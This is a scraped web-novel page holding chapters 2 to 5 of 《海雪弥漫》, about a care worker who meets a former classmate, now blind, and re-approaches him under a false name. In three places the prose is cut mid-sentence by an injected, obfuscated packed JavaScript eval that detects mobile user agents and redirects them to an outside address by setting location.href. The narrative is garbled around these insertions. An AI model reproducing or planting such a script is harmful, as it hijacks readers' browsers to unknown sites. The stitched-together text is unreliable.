《海雪弥漫》 2. 第 2 章 次日虞谷秋上白班,国庆是没假的,八点就得到岗。 不同于以往的是,她几乎没空闲下来,一空出手就大包大揽了其他同事的活儿。 清洗失禁的床单,送药,擦身,抱人,喂饭……一口气忙到中午,草草扒完两口饭,就又拿上清洁工具开始打扫一些积灰的死角。 老人中不乏有鼻炎的,且同时患有阿尔滋海默症的老人根本意识不到,若是不帮擦就会一天到晚拖个鼻涕。 一天下来,她像个陀螺似的转,腰比以前任何一天都酸。 虞谷秋扶着腰,克制了一天的思绪冷不丁转到了该不该去按摩缓解一下,也就无可避免地再度回想起昨夜的场景。 经过了十多个小时的冷却,汤骏年的样子其实已经开始模糊了……当时她根本不敢多看第二眼,在对上他空洞的眼睛之后,她扭头就跑,路上叮铃桄榔地还撞到了共享单车,在膝盖上留下一块乌青。 或许心口也留下了一块吧。 明明被撞见更落魄的那个人不是自己,但为什么会感觉那么难堪。 虞谷秋暗示自己不要再想,维持着往常生活的秩序下班回家,坐进公交车的最后一排,塞上耳机听日推的歌一路神游回家。 但如今的大数据似乎已经可怕到了匪夷所思的程度,它推给她的歌不再依赖于手机的关键词,而是直接扫描了她的记忆。 耳边传来的是一首钢琴曲,《圣诞快乐,劳伦斯先生》。 琴键颤动的前奏越来越轻,越来越久远,闷闷地从教室墙上悬挂的音箱中传来。身穿校服的虞谷秋边收拾书包,微微纳闷地抬起了头。 广播里传来的歌和往常不一样了。 当时学校里的广播台在放学后会惯例放歌,但都是固定那一首,这是虞谷秋第一次听到换歌。 同桌仿佛看出她的困惑,主动开口说:“也许因为今天是圣诞节吧?蛮应景的。” “哦……”此时不知曲名的她还不知道为什么应景,草草点头。 同桌话锋一转:“你放学后有别的事吗?如果没有的话能不能跟我换下值日啊,拜托拜托,我等会儿和女神有约!很重要!” 虞谷秋本想拒绝,但眼睛一晃,看见了黑板上今天另一个值日生的名字,汤骏年。 于是沉默片刻,故作为难地点了下头。 教室里的人陆续离开,最终变得空荡,只剩下两个人。 汤骏年看见居然是她留下来,神情有些意外。 “今天不是你吧?” “他有事就和我换了。” “这样……你随便打扫一下就好,剩下的交给我。” “没事的,你如果有事可以先走。” 说这话时,她其实存了一点打探的心思。连同桌在这个节日都有约,汤骏年想必有更多邀约吧,不过以往听到的只有被他拒绝的传言。 这个人好像对任何事都没有太大兴趣,除了未来。 果然,汤骏年摇摇头:“没有。” 虞谷秋哦了一声,背过身开始扫地。扫帚在地面上来回摇摆,夕阳下帚穗的影子像一只小动物欢欣摇晃的尾巴。 两个人各自沉默地分散在左右的教室两侧,期间虞谷秋鼓起勇气向汤骏年搭了一次话。 那是两个人第一次有机会独处……且是圣诞节这么一个稍微特别的日子,她不想像个傻瓜一样什么都不做。 虽然或许不开口更好,因为她搭话的内容听上去更像个傻瓜——“今天广播换歌了哦。” 这不用说也知道……话一出口虞谷秋就在心里骂自己白痴。 但汤骏年是个无论什么话题都能接得很好的,很周到的人。 对于她的无聊话题,他点点头说:“你喜欢这首曲子吗?” “很好听。” 他忽然笑起来:“是我投的稿,没想到被采用了。” 虞谷秋惊讶地睁大眼,心想自己是瞎猫碰到死耗子,这个废话居然正中下怀了。 他难得话多了一点,又接了一句:“它叫《圣诞快乐,劳伦斯先生》。” 虞谷秋此时恍然大悟,感叹道:“真好啊,这个劳伦斯先生。” “嗯?什么意思?” “有人专门写了一首歌祝他节日快乐。” 汤骏年又笑了起来。他的眼睛下方有两颗泪痣,笑起来就会显得很柔情,这让虞谷秋感到一种惊慌的快乐。 “不是的,这是一部同名电影的歌曲,里面有个角色叫劳伦斯。”他解释。 虞谷秋略感窘迫地挠了挠脑袋:“不好意思,我没看过……还以为是特地为这个人作的,想说被这么祝福的话对方一定会很高兴。” “这部电影是83年的老电影了,你没看过很正常的。” “比我们年纪都大的电影呀……”虞谷秋受教地点点头,“你喜欢看老电影吗?” “也不算吧,我只是爱看电影,杂七杂八的都看。” 闲聊间,汤骏年已经从第一排扫到了最后一排。 他把垃圾倒入后门的垃圾箱,转了话题:“擦黑板我来吧,高的地方你不方便。那倒垃圾就麻烦你了,可以么?” 虞谷秋说好,很利落地拎着他收好的垃圾走向操场的大垃圾桶,不想让他察觉到自己有一点独处时间就要结束的失落。 不然的话,也许下次就没有这么自然平和的交谈了。 因为她观察过,汤骏年对待那些对他流露出好感的女生额外有距离感,虞谷秋并不想也被归入到这一类区间中,更没有勇气挑战自己成为唯一例外的可能。 所以,只是同学就好了。 扔完垃圾,她迅速冲回教室。扔垃圾时特意假装忘拿了书包,心想若是汤骏年动作慢一点还没擦完黑板,那她还有机会和他说一句再见。为了这句再见,她跑得飞快。 走近教室时,虞谷秋迅速平复呼吸,慢步走过去推开门。 黄昏随着门缝射进微光,洁净的教室里折射出寂寞的尘埃。 空荡荡的,汤骏年已经走了。 虞谷秋垮下肩膀,卸力地挪到桌边低头抽出自己的书包,慢吞吞地挂到肩上。 窗外飘荡着翠绿的树影,此刻也被夕阳照黄了,在它的影子中,虞谷秋不经意地抬头,发现黑板上居然还有一行小字没有擦掉。 汤骏年的工作居然留了一个小尾巴,这可一点不像他。 她惊讶地准备帮忙擦掉那行小字,窗外的树影被风吹得哗哗作响,只不过关起的窗户听不见声音,整间教室静若宇宙,但能看见影子不断地在黑板上晃动,在那一行小字的身体上失去重力地游来游去。 那是汤骏年留下的板书—— 【圣诞快乐,虞谷秋同学】 耳机里的歌不知不觉切到了下一首,城市的黄昏和少年时代的黄昏一起落下去了。 虞谷秋毅然收起耳机,在一个不应该下的站点下了车。 她向汤骏年在的那所按摩馆走去。 * “您有预约吗?” “嗯,我刚团了一张券,请问现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457185|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在有师傅可以做吗?” 虞谷秋向前台出示二维码,对方表示稍等。 “可以的,我为您安排目前空着的师傅哈。” 虞谷秋点点头,视线心不在焉地往深处的走廊飘,没瞧见想瞧见的人,倒是和一双浑浊的中年人的眼睛对上了。 对方无意看她,立刻就移开看向前台炮轰——“我要投诉你们!安排的十七号什么玩意儿啊,按得我后背都快断了,这才三十分钟我现在浑身跟被车撞了一样!” 前台连忙起身安抚:“您先别激动!每个人承受度不一样,可能师傅没有理解到位。” “他是瞎子还是聋子啊,连人话都听不懂吗?我说疼还是按很重!” “这……” 中年男人越发嚣张:“我肚量大,赔偿就算了,直接给我免单吧!” 前台感到为难。 “您团购的是一个小时的套餐,已经过一半时间了……” “是我忍到一半!”他一拍桌子,“你就说退不退吧,不退我就去网上写你们店差评!” “给他退吧。” 冷不丁的,有个声音从虞谷秋斜后方传来。 ——“还有一个人没有投票。” 这两个声音在她的脑海中重叠,却又无法对上。 相似的音色,不相似的语气,曾经让人心驰神往的棱角被熨得很平,平滑得甚至带有一丝机械感,让人想起靠近便利店门时就会无差别响起的叮咚声。 那是一种没有生命气质的声音。 虞谷秋触电般地回头——汤骏年一只手摸着墙壁站在阴影里,神色平静地又重复了一遍。 “没事,让他退吧。” 他左胸口挂着的标牌上正写着十七。 中年男人洋洋得意:“这还差不多,小子,回去多练练技术吧。今晚就便宜你咯。” 他打了个酒嗝,又抓了一把前台放着的小糖果往兜里一塞,这才扬长而去。 这一切发生得太迅速,等虞谷秋回过神,汤骏年也已经消失在走廊深处了。 他或许根本没意识到,从头至尾还有个人站在不远处目睹了这一切。 前台有些咽不下气地碎碎念,她一晃眼见虞谷秋还傻站着,立刻拍了拍脑门道歉。 “不好意思啊刚刚……我们师傅都是专业上岗的,不会乱按,这个请您一定要放心!那种就是故意给我们师傅泼脏水来贪便宜的!” 虞谷秋沉默了片刻,问:“这样占便宜的人很多吗?” 前台无奈地叹气:“说多不多,说少也不少。有些人仗着盲人看不见自己,就跟那些网上匿名的一样,使唤欺负人起来根本不害臊。” “……不能惯着那些人吧?” “最多只能下次拉黑了。不然他们去打个差评,我们生意就难做啊。现在的时代什么都靠平台,有些人坐家里手机打两个字就能把我们店毁了,哪里有出路呢?” 虞谷秋不由得按住胃,一股闷气在腹部横冲直撞,胃不知不觉痛起来。 前台核销了她的券,边说:“这边给您安排了二十六号技师,在木星房间。” 虞谷秋迟疑地收起手机:“我想问一下,每一单按的话师傅也有提成吧?” “对的。” “那刚才十七号是不是就白按了?” “是啊,不过他自己都说算了。” 虞谷秋感觉那股横冲直撞的闷气隐约找到了出口。 “那……” 她脱口而出,我可以指名他吗? 3. 第 3 章 穿过香薰萦绕的走廊,两侧房门紧闭,房门标牌挂着各种星体的名字,有意思的是中间的大包,标上写着银河,没有门,用轻纱作遮挡,里面正有三个男人趴在按摩床上互相聊着天。对面也有一间开放式,不过门帘是放下来的,隐约可以看见女人的身影。 没错,这间按摩馆不光男女宾分开,连负责的技师都是。 虞谷秋走进挂着“木星”标牌的房间,她这间是密闭的独立房间,铺得齐整的按摩床上端正地放着按摩的软衫,虞谷秋放下包,开始脱下自己的衣物。 她今天穿了一件薄毛衣,一件内搭的背心,天气不凉不热,这样两件已经足够。可当脱下来才发现,背心却罕见地湿了。 她的后背全是冷汗,而她并不是一个容易出汗的人。 虞谷秋趴上按摩床,胸口压上床板,能清晰地感受到剧烈的跳动。 眼睁睁地目睹汤骏年毫无招架之力被欺负……眼见比传闻要冲击得多。 她当下焦急地想自己能够做些什么——于是,当时同学会那帮人说的三个字突然就涌上心头:冲业绩。 失之东隅收之桑榆,她想她可以补上他被占便宜的那一份。 然而遗憾的是,她的要求被拒绝了。 “不好意思啊,店里之前出过性骚扰事件……所以为了保护技师,有规定不接受异性指名。” 前台如是说。 纵然被拒绝有些可惜,冷静后的虞谷秋却又生出逃过一劫的轻松。 实话说,她一点没做好面对汤骏年的准备……今天只是被那首歌唤醒了一时冲动才来到按摩馆,然后催眠自己真的只是需要一场按摩犒劳犒劳酸痛的腰,再顺便远远地观察一下汤骏年的生活。 就和很多年前一样,是她的拿手本领。更别说他现在看不见了,绝对发现不了她。 但这样的观察现在令她很痛苦,汤骏年的生活称得上糟糕,而她是一个冷眼的旁观者。 为她按摩的二十六号技师进了门,询问着她需要哪里重点按摩。虞谷秋一边走神一边回答,然后忽然听到对方说:“小姐姐你太瘦了。” “啊,是吗?” “对啊,一摸下去都是骨头,都怕把你按坏了。”对方轻快地说,“我曾经也有这么瘦呢。” 虞谷秋认真地摇摇头,哪怕她看不见。 “你现在也不胖的。” “不用安慰我啦,你如果看到我之前的样子就知道我确实胖了很多。”她解释,“我当时生病的时候吃了很多药,里头有激素就发胖了,结果眼睛最后也没能好。” “所以……你也是后来看不见的吗?” “也?”对方很敏锐地捕捉到这个关键词,“你也有朋友是这样吗?” “嗯,不过不是朋友……只是一个认识的人,听说是事故导致的。” 对方稀松平常地哦了一声:“也是个倒霉蛋呢。” 虞谷秋顿了顿,不知道自己该不该继续就这个话题聊下去,但还是抑制不住想要了解的渴望,小心着语气问:“突然看不见了……是什么感受呢?” 对方沉默着,一直到闹钟到点响起,她苦恼地笑着说:“就像钟到点,客人您离开了,我还得继续呆在木星这个房间,在这个黑色宇宙里。” * 虞谷秋从房间里出来,前台处的大厅区有两三个师傅按完了在坐着休息,她情不自禁放慢脚步,假借着叫车也在另一侧坐下来。 她在心里跟自己说再坐十分钟,如果见不到汤骏年就算了。 如果能见到,她决定不要自我内耗,不先预设汤骏年会怎么想,总得有人踏出第一步,先跟他打个招呼。 说不定就跟那年放学后痴线提起的话题一样,刚好正中下怀呢? 然而坐了十分钟,十五分钟,二十分钟……她不断在心里延长自己定下的时间,汤骏年都没再出现。 她已经感觉到前台频频往自己这里看,似乎开始怀疑她是不是也想赖着占什么便宜。 虞谷秋终于不好意思再坐下去,略沮丧地走出门口。 然而老天似乎是非要捉弄她一下,就在她不甘心地隔窗回望时,再度看见了汤骏年。 他的脸出现在大厅垂下的微黄光晕中,因隔得远显得迷蒙,但仍能察觉出脸色的疲惫。他慢吞吞坐到了桌边,从口袋里掏出手机很熟练地在屏幕上比划着什么,然后把手机放到一边,趴在桌上就一动不动了。 这时候她再进去显然已经不太合适……虞谷秋思索着,掏出手机,从微信里找出了汤骏年的账号。 十年了,她不知道他是否还在用这个账号。他的朋友圈是关闭的,头像和十年前刚加上时一样,微信的默认头像,一个灰扑扑的小人。 聊天记录也是,什么都没有。 并非从没聊过,时间太久远,记录已经遗失了。不过虞谷秋还能隐约记得一些。 当时刚建立起班级群,虞谷秋以确认毕业拍照的事项申请加了他,然后一直到毕业,暑假放榜之后她小心机地隔了几天的时间差,预估着别人的消息都退潮之后才给他发了恭喜。 他回了谢谢,接着问了她一句,你也留在京崎?她说对,他说那有机会一起出来玩。 虞谷秋没把这话当真,想来就知道是客套。但看到那句话仍是高兴的,那天夜里甚至还做了个梦,梦到两个人一起去了乐园,互相给对方戴可爱的头套,分吃一只冰淇淋,在彩灯下拍照,和任何刚毕业的高中生情侣没什么两样。 醒来后无比失落的虞谷秋没有想到那句话真的会有下文。 大一开学不久,上完早八的某一天,她收到了汤骏年久违的消息。 他问她,还记不记得《圣诞快乐,劳伦斯先生》? 虞谷秋不知所以然,但秒回说记得。 接着,他发来一则一个月后京崎电影节的影讯,告诉她那部电影会上映,如果还没看过的话,要不要一起去看? 后面还跟了一个微笑的小表情。 虞谷秋握着手机,站在人来人往的宿舍楼下,仿佛被天降的花盆砸中脑袋,一时之间脑袋嗡嗡响。 这之后她想了无数种关于汤骏年邀约背后隐含的注解,直到开票前夜才得知答案——对于她主动提出我来负责抢票的消息,汤骏年没有回。 过了时间,票售罄,他才冷淡地发来道歉,说对不起,我有事。 她主动给台阶,说没关系,我们下次再约。 后面也跟了和他一样的微笑小表情。 但没有下次了,汤骏年再也没有回过她。 原来只是一次偶然的心血来潮啊,虞谷秋顿悟。 她没再打扰他,往后也没再做起关于乐园的梦。 那么……快十年过去了,算是到了可以重新打扰的时机吗? 虞谷秋在打字框里来来回回,反复斟酌着开场白。 【还记得我吗?我是虞谷秋】删掉。 【我前两天去参加了同学聚会……】删掉。 【我被盗号了,骗子没有来找你借钱吧?】……删掉。 …… 【好久不见啊,不知道你是不是还在用这个号?我最近偶然看了圣诞快乐那部电影,忽然就想到你,冒昧给你发消息,希望你别介意!】 绿色的光标闪烁,虞谷秋终于觉得拼凑出了一句像样的话。 咬咬牙,心如擂鼓地按下发送。 她一眼也不眨地盯着不远处的汤骏年。 他原本伏在胳膊上的脑袋轻轻抬了一下,摸到桌上的手机划开,接着把手机放到了耳边。 手机的旁白辅助应该正在帮忙念她的消息。 他的头抬得不高,以致于虞谷秋看不清他的神情,入目尽是垂下来的发梢。 汤骏年就这么保持着这一个姿势,按理来说应该听完了,但他没有动,似乎在听别的什么,又似乎是发呆,又或许……是在回她消息? 良久,他终于把手机继续反扣在一边,再次伏进臂弯里一动不动了。 虞谷秋慌忙低下头看向聊天界面,依旧停留在她发出去的时候。 她的消息被无视了。 虞谷秋在原地站了一会儿,很久没有眨过的眼睛此时涌上一股酸痛。 她飞速地眨了眨眼睛,感到抱歉地转身离开。 自己不应该再来这里了,她想。 * 虞谷秋的生活再次陷入了平静。 上班,下班,坐公交回家。白班的话就提前在超市下车,买今晚想吃的食材回去。回家的路上树影摇晃,晚风很凉爽。行人和车流在身边穿梭,天桥下总有人在分发传单,前天是游泳,昨天是美甲,今天是烫头。 虞谷秋哪个都没有意愿去,但都把传单拿走,一叠摞在玄关处,仿佛这样做她的生活就能被传单上的项目填满一般多姿多彩,完成了想象中的热爱生活。 很长一段时间,她没再想起关于汤骏年的事。只是有些习惯不知就怎么潜移默化地发生了。 比如,走在路上时她会注意红绿灯会不会发出声音,不发出声音盲人该怎么知道信号改变了呢?她在红灯的间隙会不住思考这些问题。 看到被占得无处下脚的盲道也会感到郁闷,有次看到一个人正在往那儿停电瓶车,她犹豫着出声说这里不能停,被对方翻了个白眼说关你屁事,她脑子一懵,目送着对方潇洒离开。然后气不过,在对方走后往电瓶车上踢了两脚,电动车乌啦乌啦响,虞谷秋两肩一夹挎着包怂怂地跑掉了。 偶尔值夜班的时候,她刷手机,软件会自动给她推送盲人的生活视频。点开一个之后就源源不断地推过来,她就源源不断地点开……最后会点开那则没有回音的聊天框,想起那位二十六号对她说过的话——就好像独自呆在黑色的宇宙里一样。 那么她得不到来自宇宙的回信,也是理所当然的事了。 虞谷秋只能在心里祝福他在自己的宇宙里获得了平静。 这天早上七点五十五,虞谷秋换好工作服从值班间出来和黄姐交班,她把夜里的情况说了一遍,最后才道:“林淑秀凌晨两点送去市三院了。” 虞谷秋一愣,倒也没有太震惊,只有一种果然来了的无奈。 “恶化了吗?” “还不太清楚,突然发起高烧,暂时是没生命危险的,这个你放心。” 虞谷秋点点头,一整个早上就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“行行行,我房间书桌最下面一层的抽屉里有一样东西,你帮我送过去,一定要亲手送到对方手上。然后转告他,我想再见他一面,但别告诉他我生病了。” “真的不告诉对方吗?” “照我说的做!” 在她强硬的态度下,虞谷秋只好不再多问,闭嘴答应,承诺晚上下班时捎过去。 回去后她在林淑秀的房间翻找,果然找到一个文件袋。虞谷秋八卦地想,里面不会封存着情书吧?听林淑秀郑重的语气,会不会是旧情人呢?两人曾有过什么误会没有解开才一直没再见面? 她来到林淑秀所说的地址,是90年代时很火的楼盘——紫荆花园,现在早衰落了,大门口气势恢弘的喷泉现如今长着杂草,小区没有电梯,她气喘呼呼地走上五楼,结果乌漆麻黑,这一层连声控灯都坏了。 虞谷秋抬手敲门,忍不住猜测会是怎么样的老人过来开门,说不定脾气和林淑秀一样冲,所以闹到现在老死不相往来。 一下,两下,敲了好几声,始终没有人来应门。 虞谷秋的想象没有得到验证,直接扑了个空门。 而且不止今天,隔了两天来又扑了空,她甚至杀回医院向林淑秀确认地址有没有弄错,结果林淑秀也举棋不定,说至少她所知道的情况是他没有搬家,地址没错。 事情一下子扑朔迷离起来。 抱着最后再试一试的心态,虞谷秋在周一白班结束后又一次来到紫荆花园,想着这次再不行就算了。 也许天意终究不想辜负一对有情人,这一次,虞谷秋听见敲门声落下后响起了动静。 她屏住呼吸,贴着耳朵确认门里的确传来了缓慢的脚步声。 “请问是?” 同时模模糊糊响起来的,是一道对虞谷秋来说并不算陌生的声音。 就在那间萦绕着熏香的按摩馆中,光线明灭的角落,那个声音的主人淡淡说着,把钱退给他吧,听着令旁观的她倍感无力。 他这回的声音不似上回那般,可再次令虞谷秋萌生出四肢无法动弹的无力,甚至无法出声回答。 于是听不到门外动静的汤骏年,慢慢地打开了门。 屋里的灯光倾泻而出,与此相反,毫无光线的目光望着虞谷秋的方向,他似乎能感觉到她站在那里。 “有人在吧?” 他语气肯定,却迟迟不见人出声,浮现出一丝困惑的表情。 虞谷秋近距离地撞上汤骏年的眼睛。 前两次都是远远的照面,细看,他的瞳孔浮着一层灰烟。她曾经觉得汤骏年脸上最迷人的地方就是一双眼睛,如果不小心和他对视上,有些情绪就煽动着羽翼扑棱棱向你飞来,满载春天的柔情。 可如今再望向他,望着他灵动不再的眼睛,她觉得他的灵魂已经离巢。 汤骏年的面色微冷,对这份过于不自然的沉默流露出警惕。 不容她再思考到底是怎么一回事,虞谷秋匆忙回过神,疯狂警示着自己必须在他关门前赶紧开口留住人。 千思万绪流过,想起那则发出去却被他无视的微信,再是如今他面对着陌生人并不算抗拒的神态。 鬼使神差的,虞谷秋决定撒一个谎。 “你好,初次见面。我叫……”情急之下,她想起中午吃的乌冬面,眼睛一闭,大声道,“吴冬!” 4.第 4 章 “吴冬?” 汤骏年的表面更显得困惑,似乎在脑子里过滤是否曾认识过这号人物,这显然是不可能的。 “请问有什么事吗?” 虞谷秋见自己并未漏馅,竟真的顺利和他对话起来,不由得松口气,又有些意料之中的失望。 对方果然不可能听得出她的声音,毕竟那些同学会上的人甚至连她的长相都忘记了。 这些念头一闪即逝,虞谷秋清了清嗓子,用陌生的腔调道:“是这样的,你认识林淑秀吧?我是安和养老院的看护,照顾她有段时间了。受她所托来向你转交一样东西。” 她以为自己会很磕磕巴巴,但奇异的是,她竟然很自然地扮演了一位陌生人。 可是和汤骏年的开场却依然不顺利。 ——他在听到林淑秀这个名字后,表情迅速冷却下来。 这个反应也让虞谷秋既肯定又困惑,看来地址没错,但似乎又有什么差错在里头。 “不用了,我不收。你还给她。” “这……” “还有别的事吗?” 他的态度实在有些奇怪,让虞谷秋都有些难以开口讲出那句嘱托。 不过,该带的话还是要带到,她只能硬着头皮说:“她想请你去见见她。” 汤骏年对这句话毫无反应,并不搭腔,一副准备关门的架势,让虞谷秋差点反应不及。 在她的记忆里,汤骏年已经留下了关于优等生的深刻标签,即便落到如今的状况了,他的性格底色没有变,仍维持着一些令人刮目相看的风度,比如之前在按摩馆他被刁难时,没有冲别人发脾气或者不满。 但今天对待“素未谋面”的她,他展现出来的态度与他自己相比,可以说是刻薄了。 虞谷秋当然知道这和自己无关,他和林淑秀中间有故事,而她现在不过是林淑秀的代表。 “——等等!”虞谷秋下意识地扒住门框,阻止了他的动作,“你不打算去看她没关系,那可以把东西收下吗?” 他压着脾气最后回了一句:“东西我不会收的。请放开手,不然会夹到你。” “……” 虞谷秋见他真的不管不顾要关门,急忙松开手,冲着即将消失的门缝匆匆喊了一句:“那我给你放门口!” “砰”,回应她的是利落的关门声。 虞谷秋试探地把东西放在门口,心想他会不会有可能在她走后开门确认,然后转头又把东西收走呢? 她故意往楼梯下走,然后又静悄悄地走上台阶,在暗处观察。 一分钟,五分钟,十分钟……大门始终紧闭。 虞谷秋矛盾地折回门口,把东西收了回来。 看来汤骏年是铁了心不想要,这东西就这么放着迟早会被当作垃圾收掉…… 该怎么向林淑秀交代?他们之间有什么过节?两人又曾经是什么关系? 问题一股脑,却没有一个解答。 虞谷秋回到家,疲惫地往沙发一陷。 天花板黑漆一片,那里好像有块荧幕,淡淡地回放着今晚的“奇遇”。 在她认为自己的人生不再和汤骏年有交集的时候,命运又将他送到了她面前。 那瞬间,她转念藏起真实的自己,想着,既然“虞谷秋”在他那里碰了壁,那她就换成“吴冬”再和他认识一次。 但似乎“吴冬”更加不受待见。 这算有缘还是没缘? 虞谷秋迷迷糊糊地想着,在沙发上睡了过去。 * 隔天的午休,虞谷秋再一次拿着林淑秀的东西去了紫荆花园。 她想再试试,说不定还有转圜的余地。 抱着忐忑的心情,虞谷秋来到了小区楼下,正给自己做心理建设时,汤骏年正巧从楼里出来了。 然而,她的视线却聚焦在了他的手中——他正牵着一条导盲犬。 那是一条皮毛发亮的拉布拉多犬,身上穿着红色的工作小制服,上面三个闪亮的金色大字,“导盲犬”,下面还有它的名字,飞飞。 原来他平常出行依靠的是它吗?虽然对导盲犬了解不多,但她也知道导盲犬不好培养,数量稀少,运气好才能匹配上一只。这大概对汤骏年来说算是不幸中的幸运了。 胡乱思索的功夫,一人一狗已经越过虞谷秋往前走去,她回过神,发现自己错过了叫住他的最佳时机。 “……” 她盯着他逐渐走远的背影,开始好奇他要去哪里,脚步也在不知不觉间快于意识地跟了上去。 ……这样不太好吧,这算不算变态? 虞谷秋一边在心里质疑,一边洗脑自己这是为了接下来找一个开口的时机,终究是掩耳盗铃地跟住了汤骏年的步伐。 她远远地跟在他身后,看着他熟门熟路地出了小区左转,走进了一条逼仄的小巷子。 光是看他的背影,虞谷秋会觉得这真的是个盲人吗?看上去只是在寻常地散步遛狗罢了。而要从零到一做到这种程度的熟练,又需要多少的练习和摔跤。 巷子两旁是各式苍蝇小馆,装修都差不多,招牌清一色的红底大白字。饭点时分生意热闹,香气从档口喷出。虞谷秋看着汤骏年停在一家米线店前,这家店的装潢唯一区别于其他的是在门口支了一张桌子。 汤骏年就在这张桌子边坐下,飞飞跟着安静地蜷进他的脚边。 他很熟练地摸到纸巾的位置,在桌子上擦了一圈,动作间店内的小伙儿迎出去,招呼道:“还是一碗麻辣米线?” 汤骏年对着声音的方向点点头,对方应了一声便又进去,剩汤骏年独自坐在那里,从口袋里掏出了有线耳机戴上。 他在听歌吗? 虞谷秋在原地纠结了片刻,觉得这又不是上前搭话的好时机,可是原地站着显然也很奇怪,思索后她干脆默不作声地擦着他的桌子过去,走进了这家米粉店。 刚才给汤骏年点单的小哥招招手:“吃啥?可以扫码也可以直接点。” 虞谷秋是吃过午饭来的,扫了眼菜单后说:“可以只要一份拍黄瓜吗?” “没问题,你自己随便找个空桌坐哈!” 店里就小伙儿一个忙前忙后,不过本身店面就不大,里面六张桌子,就两张坐了人,怪不得一个服务员也够用。 拍黄瓜的出菜速度很快,小伙儿先给虞谷秋端上菜,虞谷秋顺势叫住他,指着门外道:“明明里面还有座,为什么让他坐外面呢?” “哦,那个人啊,老顾客了,他一直坐外面啊。”他理所当然地回答。 “他喜欢坐外面吃饭吗?” 小伙儿耸耸肩:“应该吧,他自愿坐外面的。” 虞谷秋皱了皱眉,还想再问,他火急火燎地走开了,隔壁的客人正嚷着要加辣。 她戳着上来的拍黄瓜,本就吃饱的肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每次在换乘站被淹没时,她都以为自己要跟丢了,但人潮散去后,远远地眺望到一人一狗安静地缩在最角落,哪怕地铁逐渐开向偏僻地段,四周逐渐空出座位,他也只是默默贴着车壁站着,一直站到下车。 这时,跟踪难度陡然变高——这一站居然只有他们两人下了车。 等虞谷秋走出地铁口,看见地图牌上的标志时终于明白了缘由:前方是墓园。 这个墓园的规模很小,工作日的下午没有人,此刻就只有他和她。虞谷秋这下更不敢靠近了,遥遥地走在后头。 从地铁出来到这里的途经地上有家花店,汤骏年抱着刚从那里买的一簇白玫瑰,来到中央第三排左数第六个位置的墓碑处,蹲下身将已经空置的瓶子插上鲜花。 更多的细节就看不清楚了,她驻足的这个角落实在很远,只能望见他蹲下又起身的背影,今天的云很高,显得那背影在云底下很低。 那个背影一直站着,只有身下的影子跟着阳光在微妙地转动。大约二十分钟后,终于转过身离开了。 虞谷秋却没有跟着动,她在刚才的二十分钟里打定了主意不再继续跟下去。 趁着他走,她来到他刚才的位置,带着不安与好奇的心情看向墓碑——映入眼帘最醒目的那排瘦金大字,镌刻在黑色的碑上。 【母,林昕芸之墓。】 卒于十年前。 5.第 5 章 来到医院跟林淑秀报告情况时,虞谷秋仍被林昕芸三个字冲击着。 ……原来汤骏年的母亲已经去世了。 而且,她姓林,那和林淑秀会是亲缘关系吗? 这么说起来,林淑秀当时并没有指名道姓,只说送的地址,会不会她其实要送东西的人是林昕芸? 那她知道对方已经去世的事了吗? 一路上虞谷秋在心里琢磨,想着该如何搞清楚这些事。 病房里,林淑秀正精神十足地用手机刷着直播,主播“家人们”的喊声激情昂扬,叫得邻床的大姐时不时探头让她声音轻点。 “林姨,您别打扰人家休息!这不是在养老院你自己一人住呢!” 虞谷秋替她向隔壁道歉,林淑秀却不以为意地撇撇嘴,但好歹把手机关掉了。 “怎么样,这次人在吗?” 她抬起头,眼睛眨巴眨巴,迫不及待地问起东西送到没有。 虞谷秋反问:“您想要我送的人……是男的还是女的?” “啊,我没和你说吗?” “……仔细想想好像没有。” “你也真是的,不问问清楚。”她又理直气壮怪上她了,“男的呀,他眼睛看不见。你见到的是这个人吗?” “那是的。” 林淑秀刚才松快的表情逐渐淡去,紧紧盯着虞谷秋。 “他看上去过得怎么样?” 虞谷秋从不知道林淑秀的语气可以这么温和。 “他似乎是一个人住的。至于过得好不好……” 如果她从不认识汤骏年,会觉得过得不错吧。能够自力更生有条不紊地过生活。 但她偏偏见过曾经的汤骏年,要她说出“过得挺好”这四个字……她觉得很残忍。 “我也不知道。”她只能如此回答。 林淑秀对这个模棱两可的回答有些不满,从喉咙里挤出一个嗯字回应。 虞谷秋又试探地追问:“他的眼睛是怎么回事呢?” 林淑秀的表情微变,含糊道:“后天的。” 显然,她知道其中原委却不愿多说,又关切地问道:“他怎么说,是不是不愿意来?” 虞谷秋只好识趣地不再追着问,点点头。 林淑秀早已预料到这个结果般,眼神闪了闪,紧绷的表情又变得无所谓,嘟囔了一句果然啊,随即露出一种稍显寂寞的神色。 虞谷秋很熟悉这种神色,是往常节日之际她独自一个人时会流露出来的寂寞。 “那他东西也一定没收了,对吧?” 林淑秀自言自语着,最后却又抱着一丝希望,看向了虞谷秋。 虞谷秋握着帆布包袋子的手收紧。 只是一个简单的,把东西从包里掏出来归还的动作变得有些艰难。 “不。不是的。”一念之间,虞谷秋干脆又面不改色地撒谎了,“东西他倒是收了。” 林淑秀停顿了好一会儿,脸上因震惊显露出迟钝。 “……真的?你不会是骗我开我玩笑吧!” “真的啊!您知道我的为人,我什么时候撒谎过。” 林淑秀此时似乎真的相信了,或者说她想相信。 “那他收下时有说什么吗?” 